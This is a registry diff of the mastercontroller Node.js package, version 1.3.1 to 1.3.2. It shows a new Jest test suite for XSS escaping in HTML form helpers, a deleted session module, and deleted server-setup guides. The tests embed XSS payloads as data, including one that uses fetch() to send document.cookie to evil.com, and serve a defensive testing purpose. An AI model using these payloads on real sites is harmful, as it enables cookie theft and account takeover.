mastercontroller 1.3.1 → 1.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/settings.local.json +3 -1
- package/MasterAction.js +137 -23
- package/MasterActionFilters.js +197 -92
- package/MasterControl.js +264 -45
- package/MasterHtml.js +226 -143
- package/MasterRequest.js +202 -24
- package/MasterSocket.js +6 -1
- package/MasterTools.js +388 -0
- package/README.md +2288 -369
- package/SECURITY-FIXES-v1.3.2.md +614 -0
- package/docs/SECURITY-AUDIT-ACTION-SYSTEM.md +1374 -0
- package/docs/SECURITY-AUDIT-HTTPS.md +1056 -0
- package/docs/SECURITY-QUICKSTART.md +375 -0
- package/docs/timeout-and-error-handling.md +8 -6
- package/package.json +1 -1
- package/security/SecurityEnforcement.js +241 -0
- package/security/SessionSecurity.js +3 -2
- package/test/security/filters.test.js +276 -0
- package/test/security/https.test.js +214 -0
- package/test/security/path-traversal.test.js +222 -0
- package/test/security/xss.test.js +190 -0
- package/MasterSession.js +0 -208
- package/docs/server-setup-hostname-binding.md +0 -24
- package/docs/server-setup-http.md +0 -32
- package/docs/server-setup-https-credentials.md +0 -32
- package/docs/server-setup-https-env-tls-sni.md +0 -62
- package/docs/server-setup-nginx-reverse-proxy.md +0 -46
|
@@ -0,0 +1,190 @@
|
|
|
1
|
+
// XSS Protection Tests for MasterHtml.js
|
|
2
|
+
const master = require('../../MasterControl');
|
|
3
|
+
require('../../MasterHtml');
|
|
4
|
+
|
|
5
|
+
describe('XSS Protection in Form Helpers', () => {
|
|
6
|
+
let html;
|
|
7
|
+
|
|
8
|
+
beforeEach(() => {
|
|
9
|
+
// Create html instance (it's extended to master.viewList)
|
|
10
|
+
html = master.viewList.html;
|
|
11
|
+
});
|
|
12
|
+
|
|
13
|
+
describe('linkTo()', () => {
|
|
14
|
+
test('should escape malicious script in name', () => {
|
|
15
|
+
const result = html.linkTo('<script>alert("XSS")</script>', '/safe');
|
|
16
|
+
expect(result).not.toContain('<script>');
|
|
17
|
+
expect(result).toContain('<script>');
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
test('should escape malicious javascript in href', () => {
|
|
21
|
+
const result = html.linkTo('Click', 'javascript:alert("XSS")');
|
|
22
|
+
expect(result).toContain('href="javascript');
|
|
23
|
+
expect(result).not.toContain('href=javascript'); // Should be quoted
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
test('should escape quote injection', () => {
|
|
27
|
+
const result = html.linkTo('Click', '" onmouseover="alert(\'XSS\')"');
|
|
28
|
+
expect(result).toContain('"');
|
|
29
|
+
expect(result).not.toContain('onmouseover=');
|
|
30
|
+
});
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
describe('imgTag()', () => {
|
|
34
|
+
test('should escape XSS in alt attribute', () => {
|
|
35
|
+
const result = html.imgTag('<script>alert("XSS")</script>', '/image.jpg');
|
|
36
|
+
expect(result).not.toContain('<script>');
|
|
37
|
+
expect(result).toContain('<script>');
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
test('should escape onerror handler', () => {
|
|
41
|
+
const result = html.imgTag('test', '/image.jpg onerror=alert(1)');
|
|
42
|
+
expect(result).toContain('"');
|
|
43
|
+
expect(result).toMatch(/src=".*onerror.*"/); // Should be quoted
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
test('should have proper attribute quoting', () => {
|
|
47
|
+
const result = html.imgTag('test', '/image.jpg');
|
|
48
|
+
expect(result).toMatch(/src="[^"]+"/);
|
|
49
|
+
expect(result).toMatch(/alt="[^"]+"/);
|
|
50
|
+
});
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
describe('textFieldTag()', () => {
|
|
54
|
+
test('should escape malicious name', () => {
|
|
55
|
+
const result = html.textFieldTag('<script>alert(1)</script>', {});
|
|
56
|
+
expect(result).not.toContain('<script>');
|
|
57
|
+
expect(result).toContain('<script>');
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
test('should escape malicious attributes', () => {
|
|
61
|
+
const result = html.textFieldTag('username', {
|
|
62
|
+
value: '"><script>alert(1)</script><input type="hidden'
|
|
63
|
+
});
|
|
64
|
+
expect(result).not.toContain('<script>');
|
|
65
|
+
expect(result).toContain('"><script>');
|
|
66
|
+
});
|
|
67
|
+
|
|
68
|
+
test('should properly quote all attributes', () => {
|
|
69
|
+
const result = html.textFieldTag('test', { value: 'normal', class: 'form-control' });
|
|
70
|
+
expect(result).toMatch(/name="[^"]+"/);
|
|
71
|
+
expect(result).toMatch(/value="[^"]+"/);
|
|
72
|
+
expect(result).toMatch(/class="[^"]+"/);
|
|
73
|
+
});
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
describe('hiddenFieldTag()', () => {
|
|
77
|
+
test('should escape malicious value', () => {
|
|
78
|
+
const result = html.hiddenFieldTag('test', '" onclick="alert(\'XSS\')"', {});
|
|
79
|
+
expect(result).not.toContain('onclick=');
|
|
80
|
+
expect(result).toContain('"');
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
test('should escape additional attributes', () => {
|
|
84
|
+
const result = html.hiddenFieldTag('id', '123', {
|
|
85
|
+
'data-foo': '"><script>alert(1)</script>'
|
|
86
|
+
});
|
|
87
|
+
expect(result).not.toContain('<script>');
|
|
88
|
+
});
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
describe('textAreaTag()', () => {
|
|
92
|
+
test('should escape message content', () => {
|
|
93
|
+
const result = html.textAreaTag('comment', '<script>alert("XSS")</script>', {});
|
|
94
|
+
expect(result).not.toContain('<script>');
|
|
95
|
+
expect(result).toContain('<script>');
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
test('should escape attributes', () => {
|
|
99
|
+
const result = html.textAreaTag('comment', 'safe', {
|
|
100
|
+
placeholder: '"><script>alert(1)</script>'
|
|
101
|
+
});
|
|
102
|
+
expect(result).not.toContain('<script>');
|
|
103
|
+
});
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
describe('submitButton()', () => {
|
|
107
|
+
test('should escape button name', () => {
|
|
108
|
+
const result = html.submitButton('<script>alert(1)</script>', {});
|
|
109
|
+
expect(result).not.toContain('<script>');
|
|
110
|
+
expect(result).toContain('<script>');
|
|
111
|
+
});
|
|
112
|
+
|
|
113
|
+
test('should escape attributes', () => {
|
|
114
|
+
const result = html.submitButton('Submit', {
|
|
115
|
+
onclick: 'alert(1)'
|
|
116
|
+
});
|
|
117
|
+
expect(result).toContain('onclick="alert(1)"'); // Escaped and quoted
|
|
118
|
+
});
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
describe('emailField()', () => {
|
|
122
|
+
test('should escape malicious attributes', () => {
|
|
123
|
+
const result = html.emailField('email', {
|
|
124
|
+
value: '"><script>alert(1)</script>'
|
|
125
|
+
});
|
|
126
|
+
expect(result).not.toContain('<script>');
|
|
127
|
+
});
|
|
128
|
+
});
|
|
129
|
+
|
|
130
|
+
describe('numberField()', () => {
|
|
131
|
+
test('should escape min/max/step values', () => {
|
|
132
|
+
const result = html.numberField('age', '"><script>alert(1)</script>', '100', '1', {});
|
|
133
|
+
expect(result).not.toContain('<script>');
|
|
134
|
+
expect(result).toContain('"><script>');
|
|
135
|
+
});
|
|
136
|
+
});
|
|
137
|
+
|
|
138
|
+
describe('javaScriptSerializer()', () => {
|
|
139
|
+
test('should escape closing script tags', () => {
|
|
140
|
+
const data = { comment: '</script><script>alert("XSS")</script>' };
|
|
141
|
+
const result = html.javaScriptSerializer('userData', data);
|
|
142
|
+
|
|
143
|
+
// Should not contain unescaped </script>
|
|
144
|
+
expect(result).not.toMatch(/<\/script><script>/);
|
|
145
|
+
// Should contain escaped version
|
|
146
|
+
expect(result).toContain('\\u003c/script\\u003e');
|
|
147
|
+
});
|
|
148
|
+
|
|
149
|
+
test('should escape < and > characters', () => {
|
|
150
|
+
const data = { html: '<div>test</div>' };
|
|
151
|
+
const result = html.javaScriptSerializer('config', data);
|
|
152
|
+
|
|
153
|
+
expect(result).toContain('\\u003c');
|
|
154
|
+
expect(result).toContain('\\u003e');
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
test('should escape variable name', () => {
|
|
158
|
+
const result = html.javaScriptSerializer('<script>alert(1)</script>', { test: 'data' });
|
|
159
|
+
expect(result).toContain('<script>');
|
|
160
|
+
});
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
describe('Real-World Attack Scenarios', () => {
|
|
164
|
+
test('should prevent stored XSS attack', () => {
|
|
165
|
+
// Simulate stored XSS from database
|
|
166
|
+
const userComment = '<img src=x onerror=alert(document.cookie)>';
|
|
167
|
+
const result = html.textAreaTag('comment', userComment, {});
|
|
168
|
+
|
|
169
|
+
expect(result).not.toContain('onerror=');
|
|
170
|
+
expect(result).toContain('<img');
|
|
171
|
+
});
|
|
172
|
+
|
|
173
|
+
test('should prevent reflected XSS attack', () => {
|
|
174
|
+
// Simulate reflected XSS from URL parameter
|
|
175
|
+
const searchQuery = '"><script>fetch("http://evil.com?c="+document.cookie)</script>';
|
|
176
|
+
const result = html.textFieldTag('search', { value: searchQuery });
|
|
177
|
+
|
|
178
|
+
expect(result).not.toContain('<script>');
|
|
179
|
+
expect(result).not.toContain('fetch(');
|
|
180
|
+
});
|
|
181
|
+
|
|
182
|
+
test('should prevent DOM-based XSS', () => {
|
|
183
|
+
const maliciousUrl = 'javascript:eval(atob("YWxlcnQoMSk="))';
|
|
184
|
+
const result = html.linkTo('Click', maliciousUrl);
|
|
185
|
+
|
|
186
|
+
// Should be quoted and escaped
|
|
187
|
+
expect(result).toMatch(/href="[^"]*"/);
|
|
188
|
+
});
|
|
189
|
+
});
|
|
190
|
+
});
|
package/MasterSession.js
DELETED
|
@@ -1,208 +0,0 @@
|
|
|
1
|
-
|
|
2
|
-
// version 0.0.22
|
|
3
|
-
|
|
4
|
-
var master = require('./MasterControl');
|
|
5
|
-
var cookie = require('cookie');
|
|
6
|
-
var toolClass = require('./MasterTools');
|
|
7
|
-
var crypto = require('crypto');
|
|
8
|
-
var tools = new toolClass();
|
|
9
|
-
|
|
10
|
-
class MasterSession{
|
|
11
|
-
|
|
12
|
-
sessions = {};
|
|
13
|
-
options = {
|
|
14
|
-
domain: undefined,
|
|
15
|
-
encode : undefined,
|
|
16
|
-
maxAge: 900000,
|
|
17
|
-
expires : undefined ,
|
|
18
|
-
secure:false,
|
|
19
|
-
httpOnly:true,
|
|
20
|
-
sameSite : true,
|
|
21
|
-
path : '/',
|
|
22
|
-
secret : this.createSessionID()
|
|
23
|
-
};
|
|
24
|
-
|
|
25
|
-
init(options){
|
|
26
|
-
var $that = this;
|
|
27
|
-
|
|
28
|
-
// Combine the rest of the options carefully
|
|
29
|
-
this.options = {
|
|
30
|
-
...this.options,
|
|
31
|
-
...options
|
|
32
|
-
};
|
|
33
|
-
|
|
34
|
-
if(this.options.TID){
|
|
35
|
-
this.options.secret = TID;
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
// Auto-register with pipeline if available
|
|
39
|
-
if (master.pipeline) {
|
|
40
|
-
master.pipeline.use(this.middleware());
|
|
41
|
-
}
|
|
42
|
-
|
|
43
|
-
return {
|
|
44
|
-
setPath : function(path){
|
|
45
|
-
$that.options.path = path === undefined ? '/' : path;
|
|
46
|
-
return this;
|
|
47
|
-
},
|
|
48
|
-
sameSiteTrue : function(){
|
|
49
|
-
$that.options.sameSite = true;
|
|
50
|
-
return this;
|
|
51
|
-
},
|
|
52
|
-
sameSiteFalse : function(){
|
|
53
|
-
$that.options.sameSite = false;
|
|
54
|
-
return this;
|
|
55
|
-
},
|
|
56
|
-
httpOnlyTrue : function(){
|
|
57
|
-
$that.options.httpOnly = true;
|
|
58
|
-
return this;
|
|
59
|
-
},
|
|
60
|
-
httpOnlyFalse : function(){
|
|
61
|
-
$that.options.httpOnly = false;
|
|
62
|
-
return this;
|
|
63
|
-
},
|
|
64
|
-
secureTrue : function(){
|
|
65
|
-
$that.options.secure = true;
|
|
66
|
-
return this;
|
|
67
|
-
},
|
|
68
|
-
securefalse : function(){
|
|
69
|
-
$that.options.secure = false;
|
|
70
|
-
return this;
|
|
71
|
-
},
|
|
72
|
-
expires : function(exp){
|
|
73
|
-
$that.options.expires = exp === undefined ? undefined : exp;
|
|
74
|
-
return this;
|
|
75
|
-
},
|
|
76
|
-
maxAge : function(num){
|
|
77
|
-
$that.options.maxAge = num === undefined ? 0 : num;
|
|
78
|
-
return this;
|
|
79
|
-
},
|
|
80
|
-
encode: function(func){
|
|
81
|
-
$that.options.encode = func;
|
|
82
|
-
return this;
|
|
83
|
-
},
|
|
84
|
-
domain : function(dom){
|
|
85
|
-
$that.options.domain = dom;
|
|
86
|
-
return this;
|
|
87
|
-
}
|
|
88
|
-
};
|
|
89
|
-
}
|
|
90
|
-
|
|
91
|
-
createSessionID(){
|
|
92
|
-
return crypto.randomBytes(20).toString('hex');
|
|
93
|
-
}
|
|
94
|
-
|
|
95
|
-
getSessionID(){
|
|
96
|
-
return this.secret;
|
|
97
|
-
}
|
|
98
|
-
|
|
99
|
-
setCookie(name, payload, response, options){
|
|
100
|
-
var cookieOpt = options === undefined? this.options : options;
|
|
101
|
-
if(typeof options === "object"){
|
|
102
|
-
if(options.secret){
|
|
103
|
-
response.setHeader('Set-Cookie', cookie.serialize(name, tools.encrypt(payload, cookieOpt.secret), cookieOpt));
|
|
104
|
-
}else{
|
|
105
|
-
|
|
106
|
-
response.setHeader('Set-Cookie', cookie.serialize(name, payload, cookieOpt));
|
|
107
|
-
|
|
108
|
-
}
|
|
109
|
-
|
|
110
|
-
}
|
|
111
|
-
else{
|
|
112
|
-
response.setHeader('Set-Cookie', cookie.serialize(name, payload, cookieOpt));
|
|
113
|
-
}
|
|
114
|
-
}
|
|
115
|
-
|
|
116
|
-
getCookie (name, request, secret){
|
|
117
|
-
var cooks = cookie.parse(request.headers.cookie || '');
|
|
118
|
-
|
|
119
|
-
if(cooks){
|
|
120
|
-
if(cooks[name] === undefined){
|
|
121
|
-
return -1;
|
|
122
|
-
}
|
|
123
|
-
if(secret === undefined){
|
|
124
|
-
if(cooks[name]){
|
|
125
|
-
return cooks[name];
|
|
126
|
-
}
|
|
127
|
-
else{
|
|
128
|
-
return -1;
|
|
129
|
-
}
|
|
130
|
-
//return cooks[name]? -1 : cooks[name];
|
|
131
|
-
}
|
|
132
|
-
else{
|
|
133
|
-
return tools.decrypt(cooks[name], secret);
|
|
134
|
-
}
|
|
135
|
-
}
|
|
136
|
-
else{
|
|
137
|
-
return -1;
|
|
138
|
-
}
|
|
139
|
-
}
|
|
140
|
-
|
|
141
|
-
deleteCookie (name, response, options){
|
|
142
|
-
var cookieOpt = options === undefined? this.options : options;
|
|
143
|
-
response.setHeader('Set-Cookie', cookie.serialize(name, "", cookieOpt));
|
|
144
|
-
cookieOpt.expires = undefined;
|
|
145
|
-
}
|
|
146
|
-
|
|
147
|
-
// delete session and cookie
|
|
148
|
-
delete(name, response){
|
|
149
|
-
var sessionID = sessions[name];
|
|
150
|
-
this.options.expires = new Date(0);
|
|
151
|
-
response.setHeader('Set-Cookie', cookie.serialize(sessionID, "", this.options));
|
|
152
|
-
delete this.sessions[name];
|
|
153
|
-
this.options.expires = undefined;
|
|
154
|
-
}
|
|
155
|
-
|
|
156
|
-
// resets all sessions
|
|
157
|
-
reset(){
|
|
158
|
-
this.sessions = {};
|
|
159
|
-
}
|
|
160
|
-
|
|
161
|
-
// sets session with random id to get cookie
|
|
162
|
-
set(name, payload, response, secret, options){
|
|
163
|
-
var cookieOpt = options === undefined? this.options : options;
|
|
164
|
-
var sessionID = this.createSessionID();
|
|
165
|
-
this.sessions[name] = sessionID;
|
|
166
|
-
if(secret === undefined){
|
|
167
|
-
response.setHeader('Set-Cookie', cookie.serialize(sessionID, JSON.stringify(payload), cookieOpt));
|
|
168
|
-
}
|
|
169
|
-
else{
|
|
170
|
-
response.setHeader('Set-Cookie', cookie.serialize(sessionID, tools.encrypt(payload, secret), cookieOpt));
|
|
171
|
-
}
|
|
172
|
-
}
|
|
173
|
-
|
|
174
|
-
// gets session then gets cookie
|
|
175
|
-
get(name, request, secret){
|
|
176
|
-
var sessionID = this.sessions[name];
|
|
177
|
-
if(sessionID){
|
|
178
|
-
var cooks = cookie.parse(request.headers.cookie || '');
|
|
179
|
-
if(cooks){
|
|
180
|
-
if(secret === undefined){
|
|
181
|
-
return cooks[sessionID];
|
|
182
|
-
}
|
|
183
|
-
else{
|
|
184
|
-
return tools.decrypt(cooks[sessionID], secret);
|
|
185
|
-
}
|
|
186
|
-
}
|
|
187
|
-
}
|
|
188
|
-
else{
|
|
189
|
-
return -1;
|
|
190
|
-
}
|
|
191
|
-
}
|
|
192
|
-
|
|
193
|
-
/**
|
|
194
|
-
* Get session middleware for the pipeline
|
|
195
|
-
* Sessions are accessed lazily via master.sessions in controllers
|
|
196
|
-
*/
|
|
197
|
-
middleware() {
|
|
198
|
-
var $that = this;
|
|
199
|
-
|
|
200
|
-
return async (ctx, next) => {
|
|
201
|
-
// Sessions are available via master.sessions.get/set in controllers
|
|
202
|
-
// No action needed here - just continue pipeline
|
|
203
|
-
await next();
|
|
204
|
-
};
|
|
205
|
-
}
|
|
206
|
-
}
|
|
207
|
-
|
|
208
|
-
master.extend("sessions", MasterSession);
|
|
@@ -1,24 +0,0 @@
|
|
|
1
|
-
## Server setup: Hostname binding
|
|
2
|
-
|
|
3
|
-
Bind the listener to a specific interface using `hostname` (or `host`/`http`).
|
|
4
|
-
|
|
5
|
-
### server.js
|
|
6
|
-
```js
|
|
7
|
-
const master = require('./MasterControl');
|
|
8
|
-
|
|
9
|
-
master.root = __dirname;
|
|
10
|
-
master.environmentType = process.env.NODE_ENV || 'development';
|
|
11
|
-
|
|
12
|
-
const server = master.setupServer('http');
|
|
13
|
-
master.start(server);
|
|
14
|
-
|
|
15
|
-
// Bind to localhost only
|
|
16
|
-
master.serverSettings({ httpPort: 3000, hostname: '127.0.0.1', requestTimeout: 60000 });
|
|
17
|
-
|
|
18
|
-
master.startMVC('app');
|
|
19
|
-
```
|
|
20
|
-
|
|
21
|
-
### Notes
|
|
22
|
-
- Use `0.0.0.0` to accept connections on all interfaces.
|
|
23
|
-
- In production with a reverse proxy, bind to `127.0.0.1` so only the proxy can reach the app.
|
|
24
|
-
|
|
@@ -1,32 +0,0 @@
|
|
|
1
|
-
## Server setup: HTTP
|
|
2
|
-
|
|
3
|
-
This example starts a plain HTTP server. Useful for local development, or when you run behind a reverse proxy that terminates TLS.
|
|
4
|
-
|
|
5
|
-
### server.js (HTTP)
|
|
6
|
-
```js
|
|
7
|
-
const master = require('./MasterControl');
|
|
8
|
-
|
|
9
|
-
// Point master to your project root and environment
|
|
10
|
-
master.root = __dirname;
|
|
11
|
-
master.environmentType = process.env.NODE_ENV || 'development';
|
|
12
|
-
|
|
13
|
-
// Create HTTP server and bind it
|
|
14
|
-
const server = master.setupServer('http');
|
|
15
|
-
master.start(server);
|
|
16
|
-
|
|
17
|
-
// Use either explicit settings or your environment JSON
|
|
18
|
-
// Option A: explicit
|
|
19
|
-
// master.serverSettings({ httpPort: 3000, hostname: '127.0.0.1', requestTimeout: 60000 });
|
|
20
|
-
|
|
21
|
-
// Option B: from env config at config/environments/env.<env>.json
|
|
22
|
-
master.serverSettings(master.env.server);
|
|
23
|
-
|
|
24
|
-
// Load your routes and controllers
|
|
25
|
-
// If your routes are under <root>/app/**/routes.js
|
|
26
|
-
master.startMVC('app');
|
|
27
|
-
```
|
|
28
|
-
|
|
29
|
-
### Notes
|
|
30
|
-
- `master.serverSettings` now honors `hostname` (or `host`/`http`) if provided; otherwise it listens on all interfaces.
|
|
31
|
-
- For production, prefer running behind a reverse proxy and keep the app on a high port (e.g., 3000).
|
|
32
|
-
|
|
@@ -1,32 +0,0 @@
|
|
|
1
|
-
## Server setup: HTTPS with direct credentials
|
|
2
|
-
|
|
3
|
-
Pass key/cert (and optional chain/ca) directly to `setupServer('https', credentials)`.
|
|
4
|
-
|
|
5
|
-
### server.js (HTTPS credentials)
|
|
6
|
-
```js
|
|
7
|
-
const fs = require('fs');
|
|
8
|
-
const master = require('./MasterControl');
|
|
9
|
-
|
|
10
|
-
master.root = __dirname;
|
|
11
|
-
master.environmentType = process.env.NODE_ENV || 'production';
|
|
12
|
-
|
|
13
|
-
const credentials = {
|
|
14
|
-
key: fs.readFileSync('/etc/ssl/private/site.key'),
|
|
15
|
-
cert: fs.readFileSync('/etc/ssl/certs/site.crt'),
|
|
16
|
-
ca: fs.readFileSync('/etc/ssl/certs/chain.pem'),
|
|
17
|
-
minVersion: 'TLSv1.2',
|
|
18
|
-
honorCipherOrder: true,
|
|
19
|
-
ALPNProtocols: ['h2', 'http/1.1']
|
|
20
|
-
};
|
|
21
|
-
|
|
22
|
-
const server = master.setupServer('https', credentials);
|
|
23
|
-
master.start(server);
|
|
24
|
-
master.serverSettings({ httpPort: 8443, hostname: '0.0.0.0', requestTimeout: 60000 });
|
|
25
|
-
master.startMVC('app');
|
|
26
|
-
```
|
|
27
|
-
|
|
28
|
-
### Notes
|
|
29
|
-
- Use a high port (e.g., 8443) to avoid running as root, or grant `CAP_NET_BIND_SERVICE` if binding to 443.
|
|
30
|
-
- Strong defaults are ensured if you omit them, but explicitly setting them is recommended.
|
|
31
|
-
- For multiple domains, see the TLS/SNI guide.
|
|
32
|
-
|
|
@@ -1,62 +0,0 @@
|
|
|
1
|
-
## Server setup: HTTPS via environment TLS (with SNI and live reload)
|
|
2
|
-
|
|
3
|
-
This uses `config/environments/env.<env>.json` to configure TLS, SNI (multi-domain), HSTS, and watches cert files for live reload.
|
|
4
|
-
|
|
5
|
-
### Example env.production.json
|
|
6
|
-
```json
|
|
7
|
-
{
|
|
8
|
-
"server": {
|
|
9
|
-
"httpPort": 8443,
|
|
10
|
-
"hostname": "0.0.0.0",
|
|
11
|
-
"requestTimeout": 60000,
|
|
12
|
-
"tls": {
|
|
13
|
-
"hsts": true,
|
|
14
|
-
"hstsMaxAge": 15552000,
|
|
15
|
-
"minVersion": "TLSv1.2",
|
|
16
|
-
"honorCipherOrder": true,
|
|
17
|
-
"alpnProtocols": ["h2", "http/1.1"],
|
|
18
|
-
"default": {
|
|
19
|
-
"keyPath": "/etc/ssl/private/site.key",
|
|
20
|
-
"certPath": "/etc/ssl/certs/site.crt",
|
|
21
|
-
"caPath": "/etc/ssl/certs/chain.pem"
|
|
22
|
-
},
|
|
23
|
-
"sni": {
|
|
24
|
-
"example.com": {
|
|
25
|
-
"keyPath": "/etc/ssl/private/example.key",
|
|
26
|
-
"certPath": "/etc/ssl/certs/example.crt",
|
|
27
|
-
"caPath": "/etc/ssl/certs/chain.pem"
|
|
28
|
-
},
|
|
29
|
-
"api.example.com": {
|
|
30
|
-
"keyPath": "/etc/ssl/private/api.key",
|
|
31
|
-
"certPath": "/etc/ssl/certs/api.crt",
|
|
32
|
-
"caPath": "/etc/ssl/certs/chain.pem"
|
|
33
|
-
}
|
|
34
|
-
}
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
}
|
|
38
|
-
```
|
|
39
|
-
|
|
40
|
-
### server.js (HTTPS from env)
|
|
41
|
-
```js
|
|
42
|
-
const master = require('./MasterControl');
|
|
43
|
-
|
|
44
|
-
master.root = __dirname;
|
|
45
|
-
master.environmentType = process.env.NODE_ENV || 'production';
|
|
46
|
-
|
|
47
|
-
// No credentials passed; MasterControl will auto-load TLS from env
|
|
48
|
-
const server = master.setupServer('https');
|
|
49
|
-
master.start(server);
|
|
50
|
-
master.serverSettings(master.env.server);
|
|
51
|
-
master.startMVC('app');
|
|
52
|
-
|
|
53
|
-
// Optional: HTTP->HTTPS redirect (listen on 80)
|
|
54
|
-
// master.startHttpToHttpsRedirect(80, '0.0.0.0');
|
|
55
|
-
```
|
|
56
|
-
|
|
57
|
-
### How it works
|
|
58
|
-
- `default`: certs used when SNI domain does not match any entry.
|
|
59
|
-
- `sni`: per-domain certificates; the server chooses the right cert via `SNICallback`.
|
|
60
|
-
- Live reload: when any `keyPath`/`certPath`/`caPath` changes, the secure context is rebuilt in-memory (no restart needed).
|
|
61
|
-
- HSTS: when enabled, responses over HTTPS include `strict-transport-security` with the configured max-age.
|
|
62
|
-
|
|
@@ -1,46 +0,0 @@
|
|
|
1
|
-
## Server setup: Nginx reverse proxy with HTTP→HTTPS redirect
|
|
2
|
-
|
|
3
|
-
Recommended production pattern: Node app on a high port (HTTP), Nginx on 80/443 handling TLS and redirects.
|
|
4
|
-
|
|
5
|
-
### server.js (app on HTTP localhost:3000)
|
|
6
|
-
```js
|
|
7
|
-
const master = require('./MasterControl');
|
|
8
|
-
|
|
9
|
-
master.root = __dirname;
|
|
10
|
-
master.environmentType = process.env.NODE_ENV || 'production';
|
|
11
|
-
|
|
12
|
-
const server = master.setupServer('http');
|
|
13
|
-
master.start(server);
|
|
14
|
-
master.serverSettings({ httpPort: 3000, hostname: '127.0.0.1', requestTimeout: 60000 });
|
|
15
|
-
master.startMVC('app');
|
|
16
|
-
```
|
|
17
|
-
|
|
18
|
-
### Nginx config
|
|
19
|
-
```nginx
|
|
20
|
-
server {
|
|
21
|
-
listen 80;
|
|
22
|
-
server_name yourdomain.com;
|
|
23
|
-
return 301 https://$host$request_uri;
|
|
24
|
-
}
|
|
25
|
-
|
|
26
|
-
server {
|
|
27
|
-
listen 443 ssl http2;
|
|
28
|
-
server_name yourdomain.com;
|
|
29
|
-
|
|
30
|
-
ssl_certificate /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
|
|
31
|
-
ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;
|
|
32
|
-
|
|
33
|
-
location / {
|
|
34
|
-
proxy_pass http://127.0.0.1:3000;
|
|
35
|
-
proxy_set_header Host $host;
|
|
36
|
-
proxy_set_header X-Real-IP $remote_addr;
|
|
37
|
-
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
38
|
-
proxy_set_header X-Forwarded-Proto $scheme;
|
|
39
|
-
}
|
|
40
|
-
}
|
|
41
|
-
```
|
|
42
|
-
|
|
43
|
-
### Notes
|
|
44
|
-
- Use certbot or another ACME client to manage certificates and renewals automatically.
|
|
45
|
-
- This keeps Node unprivileged (no need to bind to 443) and simplifies TLS.
|
|
46
|
-
|